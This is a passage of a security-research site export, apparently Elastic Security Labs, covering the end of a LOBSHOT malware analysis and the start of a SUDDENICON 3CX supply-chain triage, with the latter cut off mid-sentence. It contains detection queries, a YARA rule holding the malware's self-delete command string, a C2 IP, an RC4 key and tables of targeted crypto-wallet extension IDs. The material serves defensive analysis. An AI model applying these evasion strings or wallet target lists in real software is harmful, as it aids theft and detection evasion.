samples\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"Threat groups are continuing to leverage malvertising techniques to masquerade legitimate software with backdoors like LOBSHOT. These kinds of malware seem small, but end up packing significant functionality which helps threat actors move quickly during the initial access stages with fully interactive remote control capabilities. We are continuing to see new samples related to this family each week, and expect it to be around for some time.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,i.jsx)(e.h3,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_windows_explorer_execution.toml\",rel:\"nofollow\",children:\"Suspicious Windows Explorer Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml\",rel:\"nofollow\",children:\"Suspicious Parent-Child Relationship\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lobshot.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Lobshot\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsx)(e.h4,{id:\"eql-query\",children:\"EQL query\"}),`\n`,(0,i.jsx)(e.p,{children:\"Using the Timeline section of the Security Solution in Kibana under the \\u201CCorrelation\\u201D tab, you can use the below EQL queries to hunt for behaviors similar\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query can be used to detect suspicious grandparent, parent, child relationships observed with LOBSHOT.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`sequence by host.id, user.id with maxspan=1m\n [process where event.type == \"start\" and not startsWith~(process.executable, process.parent.executable)] by process.parent.name, process.entity\\\\_id\n [file where event.type == \"deletion\"] by file.name, process.entity\\\\_id\n [process where event.type == \"start\" and not startsWith~(process.executable, process.parent.executable)] by process.name, process.parent.entity\\\\_id\nuntil [process where event.type == \"end\"] by process.name, process.entity\\\\_id\n`})}),`\n`,(0,i.jsx)(e.h4,{id:\"yara-rule\",children:\"YARA rule\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_Lobshot {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-04-18\"\n last_modified = \"2023-04-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n threat_name = \"Windows.Trojan.Lobshot\"\n reference_sample = \"e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6\"\n strings:\n $str0 = \"HVNC Remote Control\" ascii fullword\n $str1 = \" Error # %d - %08lx\" ascii fullword\n $str2 = \"Set clipboard text failed.\" ascii fullword\n $str3 = \"OK %08lx %08lx %d\" ascii fullword\n $str4 = \"\\\\\") \u0026 (rundll32.exe \\\\\"\" wide fullword\n $str5 = \"%LOCALAPPDATA%\\\\\\\\svc.db\" wide fullword\n $str6 = \"cmd.exe /c (ping -n 10 127.0.0.1) \u0026 (del /F /Q \\\\\"\" wide fullword\n $seq_str_decrypt = { 8A 5A ?? 8D 52 ?? 80 EB ?? 85 FF 74 ?? C0 E0 ?? 2C ?? 0A C3 32 C1 32 C7 88 06 32 E8 83 C6 ?? 83 C5 ?? EB ?? }\n $seq_emu_check = { 8B 35 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? C7 44 24 ?? 48 41 4C 39 50 C7 44 24 ?? 54 48 00 00 FF D6 }\n $seq_enum_xor = { FF 15 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? 00 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 68 07 80 00 00 8B 41 ?? 8A 00 32 01 A2 ?? ?? ?? ?? }\n $seq_create_guid = { 8D 48 ?? 80 F9 ?? 77 ?? 2C ?? C1 E2 ?? 46 0F B6 C8 0B D1 83 FE ?? 7C ?? 5F 8B C2 5E C3 }\n condition:\n 2 of ($seq*) or 5 of ($str*)\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed adversary tactics and techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0001\",rel:\"nofollow\",children:\"Initial access\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense evasion\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/001/\",rel:\"nofollow\",children:\"Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1005/\",rel:\"nofollow\",children:\"Data from Local System\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1033/\",rel:\"nofollow\",children:\"System Owner/User Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/007/\",rel:\"nofollow\",children:\"Obfuscated Files or Information: Dynamic API Resolution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1021/005/\",rel:\"nofollow\",children:\"Remote Services: VNC\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1041/\",rel:\"nofollow\",children:\"Exfiltration Over C2 Channel\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1115/\",rel:\"nofollow\",children:\"Clipboard Data\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for download in both \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/lobshot\",rel:\"nofollow\",children:\"ECS and STIX format\"}),\". Additionally, we have created a \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/collection/abe7f5f8c49b387114e46957feb347af705d1d90733f4b26341e2e5299cbbf4c\",rel:\"nofollow\",children:\"VirusTotal Collection\"}),\" with all indicators.\"]}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Indicator\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"95.217.125.200\"}),(0,i.jsx)(e.td,{children:\"IP Address\"}),(0,i.jsx)(e.td,{children:\"LOBSHOT C2\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"LOBSHOT\"})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta505\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta505\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://twitter.com/wdormann/status/1617612216945250304?s=20\",rel:\"nofollow\",children:\"https://twitter.com/wdormann/status/1617612216945250304?s=20\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.malware-traffic-analysis.net/2023/01/23/index.html\",rel:\"nofollow\",children:\"https://www.malware-traffic-analysis.net/2023/01/23/index.html\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"appendix\",children:\"Appendix\"}),`\n`,(0,i.jsx)(e.h3,{id:\"chrome-wallet-extensions\",children:\"Chrome wallet extensions\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Wallet name\"}),(0,i.jsx)(e.th,{children:\"Extension ID\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Yoroi\"}),(0,i.jsx)(e.td,{children:\"ffnbelfdoeiohenkjibnmadjiehjhajb\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"TronLink\"}),(0,i.jsx)(e.td,{children:\"ibnejdfjmmkpcnlpebklmnkoeoihofec\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Nifty Wallet\"}),(0,i.jsx)(e.td,{children:\"jbdaocneiiinmjbjlgalhcelgbejmnid\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MetaMask\"}),(0,i.jsx)(e.td,{children:\"nkbihfbeogaeaoehlefnkodbefgpgknn\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Math Wallet\"}),(0,i.jsx)(e.td,{children:\"afbcbjpbpfadlkmhmclhkeeodmamcflc\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Coinbase Wallet\"}),(0,i.jsx)(e.td,{children:\"hnfanknocfeofbddgcijnmhnfnkdnaad\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Binance Wallet\"}),(0,i.jsx)(e.td,{children:\"fhbohimaelbohpjbbldcngcnapndodjp\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Brave Wallet\"}),(0,i.jsx)(e.td,{children:\"odbfpeeihdkbihmopkbjmoonfanlbfcl\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Guarda\"}),(0,i.jsx)(e.td,{children:\"hpglfhgfnhbgpjdenjgmdgoeiappafln\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Equal Wallet\"}),(0,i.jsx)(e.td,{children:\"blnieiiffboillknjnepogjhkgnoapac\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Jaxx Liberty\"}),(0,i.jsx)(e.td,{children:\"cjelfplplebdjjenllpjcblmjkfcffne\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"BitApp Wallet\"}),(0,i.jsx)(e.td,{children:\"fihkakfobkmkjojpchpfgcmhfjnmnfpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"iWallet\"}),(0,i.jsx)(e.td,{children:\"kncchdigobghenbbaddojjnnaogfppfj\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Wombat\"}),(0,i.jsx)(e.td,{children:\"amkmjjmmflddogmhpjloimipbofnfjih\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Oxygen\"}),(0,i.jsx)(e.td,{children:\"fhilaheimglignddkjgofkcbgekhenbh\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MyEtherWallet\"}),(0,i.jsx)(e.td,{children:\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"GuildWallet\"}),(0,i.jsx)(e.td,{children:\"nanjmdknhkinifnkgdcggcfnhdaammmj\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Saturn Wallet\"}),(0,i.jsx)(e.td,{children:\"nkddgncdjgjfcddamfgcmfnlhccnimig\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Ronin Wallet\"}),(0,i.jsx)(e.td,{children:\"fnjhmkhhmkbjkkabndcnnogagogbneec\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Station Wallet\"}),(0,i.jsx)(e.td,{children:\"aiifbnbfobpmeekipheeijimdpnlpgpp\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Harmony\"}),(0,i.jsx)(e.td,{children:\"fnnegphlobjdpkhecapkijjdkgcjhkib\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Coin98 Wallet\"}),(0,i.jsx)(e.td,{children:\"aeachknmefphepccionboohckonoeemg\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"EVER Wallet\"}),(0,i.jsx)(e.td,{children:\"cgeeodpfagjceefieflmdfphplkenlfk\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"KardiaChain Wallet\"}),(0,i.jsx)(e.td,{children:\"pdadjkfkgcafgbceimcpbkalnfnepbnk\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Phantom\"}),(0,i.jsx)(e.td,{children:\"bfnaelmomeimhlpmgjnjophhpkkoljpa\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Pali Wallet\"}),(0,i.jsx)(e.td,{children:\"mgffkfbidihjpoaomajlbgchddlicgpn\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"BOLT X\"}),(0,i.jsx)(e.td,{children:\"aodkkagnadcbobfpggfnjeongemjbjca\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Liquality Wallet\"}),(0,i.jsx)(e.td,{children:\"kpfopkelmapcoipemfendmdcghnegimn\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"XDEFI Wallet\"}),(0,i.jsx)(e.td,{children:\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Nami\"}),(0,i.jsx)(e.td,{children:\"lpfcbjknijpeeillifnkikgncikgfhdo\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MultiversX DeFi Wallet\"}),(0,i.jsx)(e.td,{children:\"dngmlblcodfobpdpecaadgfbcggfjfnm\"})]})]})]})}),`\n`,(0,i.jsx)(e.h3,{id:\"edge-wallet-extensions\",children:\"Edge wallet extensions\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Wallet name\"}),(0,i.jsx)(e.th,{children:\"Extension ID\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Yoroi\"}),(0,i.jsx)(e.td,{children:\"akoiaibnepcedcplijmiamnaigbepmcb\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MetaMask\"}),(0,i.jsx)(e.td,{children:\"ejbalbakoplchlghecdalmeeeajnimhm\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Math Wallet\"}),(0,i.jsx)(e.td,{children:\"dfeccadlilpndjjohbjdblepmjeahlmm\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Ronin Wallet\"}),(0,i.jsx)(e.td,{children:\"kjmoohlgokccodicjjfebfomlbljgfhk\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Station Wallet\"}),(0,i.jsx)(e.td,{children:\"ajkhoeiiokighlmdnlakpjfoobnjinie\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"BDLT Wallet\"}),(0,i.jsx)(e.td,{children:\"fplfipmamcjaknpgnipjeaeeidnjooao\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Glow\"}),(0,i.jsx)(e.td,{children:\"niihfokdlimbddhfmngnplgfcgpmlido\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"OneKey\"}),(0,i.jsx)(e.td,{children:\"obffkkagpmohennipjokmpllocnlndac\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MetaWallet\"}),(0,i.jsx)(e.td,{children:\"kfocnlddfahihoalinnfbnfmopjokmhl\"})]})]})]})}),`\n`,(0,i.jsx)(e.h3,{id:\"firefox-wallet-extensions\",children:\"Firefox wallet extensions\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Wallet name\"}),(0,i.jsx)(e.th,{children:\"Extension ID\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Yoroi\"}),(0,i.jsx)(e.td,{children:\"{530f7c6c-6077-4703-8f71-cb368c663e35}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Ronin Wallet\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.a,{href:\"mailto:ronin-wallet@axieinfinity.com.xpi\",children:\"ronin-wallet@axieinfinity.com.xpi\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MetaMask\"}),(0,i.jsx)(e.td,{children:(0,i.jsx)(e.a,{href:\"mailto:webextension@metamask.io.xpi\",children:\"webextension@metamask.io.xpi\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"TronLink\"}),(0,i.jsx)(e.td,{children:\"{5799d9b6-8343-4c26-9ab6-5d2ad39884ce}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"{aa812bee-9e92-48ba-9570-5faf0cfe2578}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"{59ea5f29-6ea9-40b5-83cd-937249b001e1}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"{d8ddfc2a-97d9-4c60-8b53-5edd299b6674}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Phantom\"}),(0,i.jsx)(e.td,{children:\"{7c42eea1-b3e4-4be4-a56f-82a5852b12dc}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"{b3e96b5f-b5bf-8b48-846b-52f430365e80}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"{eb1fb57b-ca3d-4624-a841-728fdb28455f}.xpi\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{}),(0,i.jsx)(e.td,{children:\"{76596e30-ecdb-477a-91fd-c08f2018df1a}.xpi\"})]})]})]})})]})}function v(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(c,t)})):c(t)}var j=v;return y(x);})();\n;return Component;"},"_id":"articles/elastic-security-labs-discovers-lobshot-malware.mdx","_raw":{"sourceFilePath":"articles/elastic-security-labs-discovers-lobshot-malware.mdx","sourceFileName":"elastic-security-labs-discovers-lobshot-malware.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-security-labs-discovers-lobshot-malware"},"type":"Article","imageUrl":"/assets/images/elastic-security-labs-discovers-lobshot-malware/photo-edited-08@2x.jpg","readingTime":"20 min read","series":"","url":"/elastic-security-labs-discovers-lobshot-malware","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Campaign context","href":"#campaign-context"},{"level":2,"title":"LOBSHOT code analysis","href":"#lobshot-code-analysis"},{"level":3,"title":"Dynamic API resolution","href":"#dynamic-api-resolution"},{"level":3,"title":"Defender emulation check","href":"#defender-emulation-check"},{"level":3,"title":"String obfuscation","href":"#string-obfuscation"},{"level":3,"title":"Initial enumeration","href":"#initial-enumeration"},{"level":3,"title":"Execution flow","href":"#execution-flow"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":3,"title":"Stealer functionality","href":"#stealer-functionality"},{"level":3,"title":"Network communications","href":"#network-communications"},{"level":3,"title":"Capabilities","href":"#capabilities"},{"level":2,"title":"LOBSHOT configuration extractor","href":"#lobshot-configuration-extractor"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"Prevention","href":"#prevention"},{"level":3,"title":"Detection","href":"#detection"},{"level":4,"title":"EQL query","href":"#eql-query"},{"level":4,"title":"YARA rule","href":"#yara-rule"},{"level":2,"title":"Observed adversary tactics and techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / Sub techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Appendix","href":"#appendix"},{"level":3,"title":"Chrome wallet extensions","href":"#chrome-wallet-extensions"},{"level":3,"title":"Edge wallet extensions","href":"#edge-wallet-extensions"},{"level":3,"title":"Firefox wallet extensions","href":"#firefox-wallet-extensions"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Elastic users protected from SUDDENICON’s supply chain attack","slug":"elastic-users-protected-from-suddenicon-supply-chain-attack","date":"2023-05-05","description":"Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users.","image":"photo-edited-06@2x.jpg","subtitle":"Elastic alert telemetry has observed protection events related to the supply chain attacks targeting the 3CXDesktopApp update process.","tags":["ref7957","suddenicon"],"body":{"raw":"\n# Key takeaways\n\n- Elastic users are protected from supply chain attacks targeting the 3CX users\n- How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams\n- Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists\n\n# Preamble\n\nOn March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users [as detailed in a Reddit post](https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/). Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 [as reported by Todyl](https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign).\n\n[3CX states](https://www.3cx.com/company/customers/) it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.\n\nIn this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware\n\n# SUDDENICON triage analysis\n\nThe 3CXDesktopApp [installer MSI](https://www.virustotal.com/gui/file/aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868) appears to contain malicious code which waits seven days post-installation before downloading additional files from [GitHub](https://github.com/IconStorages/images) and communicating with malicious command-and-control domains. The client application writes `ffmpeg.dll` and `d3dcompiler\\_47.dll` to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that `ffmpeg.dll` and `d3dcompiler\\_47.dll` are both legitimate file names and rules should not be created on them alone.\n\n![ffmpeg.dll referencing the d3dcompiler_47.dll file](/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image1.jpg)\n\nThe `ffmpeg.dll` binary extracts SUDDENICON from `d3dcompiler\\_47.dll` by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (`3jB(2bsG#@c7`). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub 